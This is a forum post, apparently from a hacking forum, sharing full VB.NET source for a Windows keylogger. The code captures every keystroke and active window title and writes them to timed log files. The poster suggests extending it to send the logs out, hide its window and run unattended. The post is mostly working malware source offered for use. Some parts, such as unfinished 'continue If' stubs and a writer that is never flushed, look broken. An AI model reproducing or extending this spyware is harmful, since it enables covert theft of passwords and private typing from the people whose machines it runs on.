Login Register






Simple Keylogger in VB filter_list
Author
Message
Simple Keylogger in VB #1
Simple base for a keylogger in VB you probably want to add some method to transport the log file, something to hide the window as well as change the way it runs so that all commands are done by the application rather than user input.

Code:
Imports System Imports System.IO Imports System.Text Imports System.Windows.Forms Imports System.Runtime.InteropServices Namespace NetKeyLogger Public Class Keylogger Private Overloads Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As System.Windows.Forms.Keys) As Short Private Overloads Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As Integer) As Short Public Declare Function GetWindowText Lib "User32.dll" (ByVal hwnd As Integer, ByVal s As StringBuilder, ByVal nMaxCount As Integer) As Integer Public Declare Function GetForegroundWindow Lib "User32.dll" () As Integer Private keyBuffer As String Private timerKeyMine As System.Timers.Timer Private timerBufferFlush As System.Timers.Timer Private hWndTitle As String Private hWndTitlePast As String Public LOG_FILE As String Public LOG_MODE As String Public LOG_OUT As String Private tglAlt As Boolean = false Private tglControl As Boolean = false Private tglCapslock As Boolean = false Public Sub New() MyBase.New Me.hWndTitle = Keylogger.ActiveApplTitle Me.hWndTitlePast = Me.hWndTitle Me.keyBuffer = "" Me.timerKeyMine = New System.Timers.Timer Me.timerKeyMine.Enabled = true AddHandler Me.timerKeyMine.Elapsed, AddressOf Me.timerKeyMine_Elapsed Me.timerKeyMine.Interval = 10 Me.timerBufferFlush = New System.Timers.Timer Me.timerBufferFlush.Enabled = true AddHandler Me.timerBufferFlush.Elapsed, AddressOf Me.timerBufferFlush_Elapsed Me.timerBufferFlush.Interval = 1800000 End Sub Private Shared Sub Main() Dim kl As Keylogger = New Keylogger kl.Enabled = true Console.ReadLine kl.Flush2File("test.txt") End Sub Public Shared Function ActiveApplTitle() As String Dim hwnd As Integer = Keylogger.GetForegroundWindow Dim sbTitle As StringBuilder = New StringBuilder(1024) Dim intLength As Integer = Keylogger.GetWindowText(hwnd, sbTitle, sbTitle.Capacity) If ((intLength <= 0) _ OrElse (intLength > sbTitle.Length)) Then Return "unknown" End If Dim title As String = sbTitle.ToString Return title End Function Private Sub timerKeyMine_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Me.hWndTitle = Keylogger.ActiveApplTitle If (Me.hWndTitle <> Me.hWndTitlePast) Then If (Me.LOG_OUT = "file") Then Me.keyBuffer = (Me.keyBuffer + ("[" _ + (Me.hWndTitle + "]"))) Else Me.Flush2Console(("[" _ + (Me.hWndTitle + "]")), true) If (Me.keyBuffer.Length > 0) Then Me.Flush2Console(Me.keyBuffer, false) End If End If Me.hWndTitlePast = Me.hWndTitle End If For Each i As Integer In Enum.GetValues(GetType(Keys)) If (Keylogger.GetAsyncKeyState(i) = -32767) Then If ControlKey Then If Not Me.tglControl Then Me.tglControl = true Me.keyBuffer = (Me.keyBuffer + "<Ctrl=On>") End If ElseIf Me.tglControl Then Me.tglControl = false Me.keyBuffer = (Me.keyBuffer + "<Ctrl=Off>") End If If AltKey Then If Not Me.tglAlt Then Me.tglAlt = true Me.keyBuffer = (Me.keyBuffer + "<Alt=On>") End If ElseIf Me.tglAlt Then Me.tglAlt = false Me.keyBuffer = (Me.keyBuffer + "<Alt=Off>") End If If CapsLock Then If Not Me.tglCapslock Then Me.tglCapslock = true Me.keyBuffer = (Me.keyBuffer + "<CapsLock=On>") End If ElseIf Me.tglCapslock Then Me.tglCapslock = false Me.keyBuffer = (Me.keyBuffer + "<CapsLock=Off>") End If If (Enum.GetName(GetType(Keys), i) = "LButton") Then Me.keyBuffer = (Me.keyBuffer + "<LMouse>") ElseIf (Enum.GetName(GetType(Keys), i) = "RButton") Then Me.keyBuffer = (Me.keyBuffer + "<RMouse>") ElseIf (Enum.GetName(GetType(Keys), i) = "Back") Then Me.keyBuffer = (Me.keyBuffer + "<Backspace>") ElseIf (Enum.GetName(GetType(Keys), i) = "Space") Then Me.keyBuffer = (Me.keyBuffer + " ") ElseIf (Enum.GetName(GetType(Keys), i) = "Return") Then Me.keyBuffer = (Me.keyBuffer + "<Enter>") ElseIf (Enum.GetName(GetType(Keys), i) = "ControlKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "LControlKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "RControlKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "LControlKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "ShiftKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "LShiftKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "RShiftKey") Then 'TODO: Warning!!! continue If ElseIf (Enum.GetName(GetType(Keys), i) = "Delete") Then Me.keyBuffer = (Me.keyBuffer + "<Del>") ElseIf (Enum.GetName(GetType(Keys), i) = "Insert") Then Me.keyBuffer = (Me.keyBuffer + "<Ins>") ElseIf (Enum.GetName(GetType(Keys), i) = "Home") Then Me.keyBuffer = (Me.keyBuffer + "<Home>") ElseIf (Enum.GetName(GetType(Keys), i) = "End") Then Me.keyBuffer = (Me.keyBuffer + "<End>") ElseIf (Enum.GetName(GetType(Keys), i) = "Tab") Then Me.keyBuffer = (Me.keyBuffer + "<Tab>") ElseIf (Enum.GetName(GetType(Keys), i) = "Prior") Then Me.keyBuffer = (Me.keyBuffer + "<Page Up>") ElseIf (Enum.GetName(GetType(Keys), i) = "PageDown") Then Me.keyBuffer = (Me.keyBuffer + "<Page Down>") ElseIf ((Enum.GetName(GetType(Keys), i) = "LWin") _ OrElse (Enum.GetName(GetType(Keys), i) = "RWin")) Then Me.keyBuffer = (Me.keyBuffer + "<Win>") End If If ShiftKey Then If ((i >= 65) _ AndAlso (i <= 122)) Then Me.keyBuffer = (Me.keyBuffer + CType(i,Char)) ElseIf (i.ToString = "49") Then Me.keyBuffer = (Me.keyBuffer + "!") ElseIf (i.ToString = "50") Then Me.keyBuffer = (Me.keyBuffer + "@") ElseIf (i.ToString = "51") Then Me.keyBuffer = (Me.keyBuffer + "#") ElseIf (i.ToString = "52") Then Me.keyBuffer = (Me.keyBuffer + "$") ElseIf (i.ToString = "53") Then Me.keyBuffer = (Me.keyBuffer + "%") ElseIf (i.ToString = "54") Then Me.keyBuffer = (Me.keyBuffer + "^") ElseIf (i.ToString = "55") Then Me.keyBuffer = (Me.keyBuffer + "&") ElseIf (i.ToString = "56") Then Me.keyBuffer = (Me.keyBuffer + "*") ElseIf (i.ToString = "57") Then Me.keyBuffer = (Me.keyBuffer + "(") ElseIf (i.ToString = "48") Then Me.keyBuffer = (Me.keyBuffer + ")") ElseIf (i.ToString = "192") Then Me.keyBuffer = (Me.keyBuffer + "~") ElseIf (i.ToString = "189") Then Me.keyBuffer = (Me.keyBuffer + "_") ElseIf (i.ToString = "187") Then Me.keyBuffer = (Me.keyBuffer + "+") ElseIf (i.ToString = "219") Then Me.keyBuffer = (Me.keyBuffer + "{") ElseIf (i.ToString = "221") Then Me.keyBuffer = (Me.keyBuffer + "}") ElseIf (i.ToString = "220") Then Me.keyBuffer = (Me.keyBuffer + "|") ElseIf (i.ToString = "186") Then Me.keyBuffer = (Me.keyBuffer + ":") ElseIf (i.ToString = "222") Then Me.keyBuffer = (Me.keyBuffer + """""") ElseIf (i.ToString = "188") Then Me.keyBuffer = (Me.keyBuffer + "<") ElseIf (i.ToString = "190") Then Me.keyBuffer = (Me.keyBuffer + ">") ElseIf (i.ToString = "191") Then Me.keyBuffer = (Me.keyBuffer + "?") End If ElseIf ((i >= 65) _ AndAlso (i <= 122)) Then Me.keyBuffer = (Me.keyBuffer + CType((i + 32),Char)) ElseIf (i.ToString = "49") Then Me.keyBuffer = (Me.keyBuffer + "1") ElseIf (i.ToString = "50") Then Me.keyBuffer = (Me.keyBuffer + "2") ElseIf (i.ToString = "51") Then Me.keyBuffer = (Me.keyBuffer + "3") ElseIf (i.ToString = "52") Then Me.keyBuffer = (Me.keyBuffer + "4") ElseIf (i.ToString = "53") Then Me.keyBuffer = (Me.keyBuffer + "5") ElseIf (i.ToString = "54") Then Me.keyBuffer = (Me.keyBuffer + "6") ElseIf (i.ToString = "55") Then Me.keyBuffer = (Me.keyBuffer + "7") ElseIf (i.ToString = "56") Then Me.keyBuffer = (Me.keyBuffer + "8") ElseIf (i.ToString = "57") Then Me.keyBuffer = (Me.keyBuffer + "9") ElseIf (i.ToString = "48") Then Me.keyBuffer = (Me.keyBuffer + "0") ElseIf (i.ToString = "189") Then Me.keyBuffer = (Me.keyBuffer + "-") ElseIf (i.ToString = "187") Then Me.keyBuffer = (Me.keyBuffer + "=") ElseIf (i.ToString = "92") Then Me.keyBuffer = (Me.keyBuffer + "`") ElseIf (i.ToString = "219") Then Me.keyBuffer = (Me.keyBuffer + "[") ElseIf (i.ToString = "221") Then Me.keyBuffer = (Me.keyBuffer + "]") ElseIf (i.ToString = "220") Then Me.keyBuffer = (Me.keyBuffer + "\") ElseIf (i.ToString = "186") Then Me.keyBuffer = (Me.keyBuffer + ";") ElseIf (i.ToString = "222") Then Me.keyBuffer = (Me.keyBuffer + "'") ElseIf (i.ToString = "188") Then Me.keyBuffer = (Me.keyBuffer + ",") ElseIf (i.ToString = "190") Then Me.keyBuffer = (Me.keyBuffer + ".") ElseIf (i.ToString = "191") Then Me.keyBuffer = (Me.keyBuffer + "/") End If End If Next End Sub #Region "toggles" Public Shared ReadOnly Property ControlKey As Boolean Get Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.ControlKey) And 32768)) End Get End Property Public Shared ReadOnly Property ShiftKey As Boolean Get Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.ShiftKey) And 32768)) End Get End Property Public Shared ReadOnly Property CapsLock As Boolean Get Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.CapsLock) And 32768)) End Get End Property Public Shared ReadOnly Property AltKey As Boolean Get Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.Menu) And 32768)) End Get End Property #End Region Private Sub timerBufferFlush_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) If (Me.LOG_OUT = "file") Then If (Me.keyBuffer.Length > 0) Then Me.Flush2File(Me.LOG_FILE) End If ElseIf (Me.keyBuffer.Length > 0) Then Me.Flush2Console(Me.keyBuffer, false) End If End Sub Public Sub Flush2Console(ByVal data As String, ByVal writeLine As Boolean) If writeLine Then Console.WriteLine(data) Else Console.Write(data) Me.keyBuffer = "" End If End Sub Public Sub Flush2File(ByVal file As String) Dim AmPm As String = "" Try If (Me.LOG_MODE = "hour") Then If ((DateTime.Now.TimeOfDay.Hours >= 0) _ AndAlso (DateTime.Now.TimeOfDay.Hours <= 11)) Then AmPm = "AM" Else AmPm = "PM" End If file = (file + ("_" _ + (DateTime.Now.ToString("hh") _ + (AmPm + ".log")))) Else file = (file + ("_" _ + (DateTime.Now.ToString("MM.dd.yyyy") + ".log"))) End If Dim fil As FileStream = New FileStream(file, FileMode.Append, FileAccess.Write) Dim sw As StreamWriter = New StreamWriter(fil) sw.Write(Me.keyBuffer) Me.keyBuffer = "" Catch ex As Exception throw End Try End Sub #Region "Properties" Public Property Enabled As Boolean Get Return (Me.timerKeyMine.Enabled AndAlso Me.timerBufferFlush.Enabled) End Get Set Me.timerBufferFlush.Enabled = value Me.timerKeyMine.Enabled = value End Set End Property Public Property FlushInterval As Double Get Return Me.timerBufferFlush.Interval End Get Set Me.timerBufferFlush.Interval = value End Set End Property Public Property MineInterval As Double Get Return Me.timerKeyMine.Interval End Get Set Me.timerKeyMine.Interval = value End Set End Property #End Region End Class End Namespace
[Image: YmmIqHV.gif]
Donations: 1CCR21K2fnu2yAinUTFPsVdY7u4FkjNPs5

[+] 1 user Likes S3xySmurf's post
Reply